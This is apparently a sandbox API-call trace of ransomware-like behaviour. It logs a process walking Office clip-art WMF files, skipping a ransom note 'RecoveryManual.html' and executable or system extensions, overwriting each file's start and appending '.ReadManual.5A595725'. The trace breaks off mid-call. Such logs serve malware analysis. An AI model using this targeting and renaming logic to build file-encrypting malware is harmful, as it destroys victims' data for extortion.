1 [0266.478] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.479] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.479] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd04) returned 0x2f0000 [0266.479] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.479] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38714826414) returned 1 [0266.480] CloseHandle (hObject=0x184) returned 1 [0266.480] SetSecurityInfo () returned 0x57 [0266.480] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.480] CloseHandle (hObject=0x194) returned 1 [0266.480] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0266.480] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0106958.WMF" | out: lpString1="J0106958.WMF") returned="J0106958.WMF" [0266.480] lstrcmpiW (lpString1="J0106958.WMF", lpString2="RecoveryManual.html") returned -1 [0266.480] StrStrIW (lpFirst="J0106958.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.480] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.480] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.480] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" [0266.480] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.ReadManual.5A595725" [0266.480] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.ReadManual.5A595725") returned 87 [0266.480] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38714922559) returned 1 [0266.481] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 0x20 [0266.481] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.481] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13784) returned 1 [0266.481] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35d8, lpName=0x0) returned 0x184 [0266.481] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.482] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.482] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.483] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.484] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35d8) returned 0x2f0000 [0266.484] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.484] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38715260307) returned 1 [0266.484] CloseHandle (hObject=0x184) returned 1 [0266.484] SetSecurityInfo () returned 0x57 [0266.484] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.484] CloseHandle (hObject=0x194) returned 1 [0266.484] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0266.484] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107024.WMF" | out: lpString1="J0107024.WMF") returned="J0107024.WMF" [0266.484] lstrcmpiW (lpString1="J0107024.WMF", lpString2="RecoveryManual.html") returned -1 [0266.484] StrStrIW (lpFirst="J0107024.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.484] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.484] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.484] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.484] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.484] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.484] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.484] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.484] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.485] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.485] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.485] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.485] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.485] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.485] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.485] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" [0266.485] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.ReadManual.5A595725" [0266.485] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.ReadManual.5A595725") returned 87 [0266.485] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38715364368) returned 1 [0266.485] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 0x20 [0266.485] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.485] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3020) returned 1 [0266.485] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbcc, lpName=0x0) returned 0x184 [0266.485] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.486] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.486] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.488] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.488] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbcc) returned 0x2f0000 [0266.488] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.488] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38715672576) returned 1 [0266.488] CloseHandle (hObject=0x184) returned 1 [0266.488] SetSecurityInfo () returned 0x57 [0266.488] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.488] CloseHandle (hObject=0x194) returned 1 [0266.488] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0266.488] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107026.WMF" | out: lpString1="J0107026.WMF") returned="J0107026.WMF" [0266.488] lstrcmpiW (lpString1="J0107026.WMF", lpString2="RecoveryManual.html") returned -1 [0266.488] StrStrIW (lpFirst="J0107026.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.488] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.488] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.488] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.489] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.489] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" [0266.489] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.ReadManual.5A595725" [0266.489] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.ReadManual.5A595725") returned 87 [0266.489] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38715809840) returned 1 [0266.489] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 0x20 [0266.490] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.490] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7632) returned 1 [0266.490] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dd0, lpName=0x0) returned 0x184 [0266.490] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.491] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.491] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.492] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.492] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1dd0) returned 0x2f0000 [0266.493] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.493] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38716143198) returned 1 [0266.493] CloseHandle (hObject=0x184) returned 1 [0266.493] SetSecurityInfo () returned 0x57 [0266.493] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.493] CloseHandle (hObject=0x194) returned 1 [0266.493] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0266.493] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107042.WMF" | out: lpString1="J0107042.WMF") returned="J0107042.WMF" [0266.493] lstrcmpiW (lpString1="J0107042.WMF", lpString2="RecoveryManual.html") returned -1 [0266.493] StrStrIW (lpFirst="J0107042.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.493] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.493] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.494] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" [0266.494] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.ReadManual.5A595725" [0266.494] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.ReadManual.5A595725") returned 87 [0266.494] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38716239670) returned 1 [0266.494] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf")) returned 0x20 [0266.494] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.495] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9048) returned 1 [0266.495] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2358, lpName=0x0) returned 0x184 [0266.495] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.495] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.496] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.497] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.497] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2358) returned 0x2f0000 [0266.498] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.498] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38716641402) returned 1 [0266.498] CloseHandle (hObject=0x184) returned 1 [0266.498] SetSecurityInfo () returned 0x57 [0266.498] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.498] CloseHandle (hObject=0x194) returned 1 [0266.498] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0266.498] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107090.WMF" | out: lpString1="J0107090.WMF") returned="J0107090.WMF" [0266.498] lstrcmpiW (lpString1="J0107090.WMF", lpString2="RecoveryManual.html") returned -1 [0266.498] StrStrIW (lpFirst="J0107090.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.498] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.498] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.498] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" [0266.499] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.ReadManual.5A595725" [0266.499] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.ReadManual.5A595725") returned 87 [0266.499] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38716737366) returned 1 [0266.499] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf")) returned 0x20 [0266.499] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.499] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14132) returned 1 [0266.499] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3734, lpName=0x0) returned 0x184 [0266.499] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.500] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.500] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.502] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.502] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3734) returned 0x2f0000 [0266.502] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.502] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38717084716) returned 1 [0266.502] CloseHandle (hObject=0x184) returned 1 [0266.502] SetSecurityInfo () returned 0x57 [0266.502] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.502] CloseHandle (hObject=0x194) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x69cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107130.WMF", cAlternateFileName="")) returned 1 [0266.502] lstrcpyW (in: lpString1=0x6ab90a, 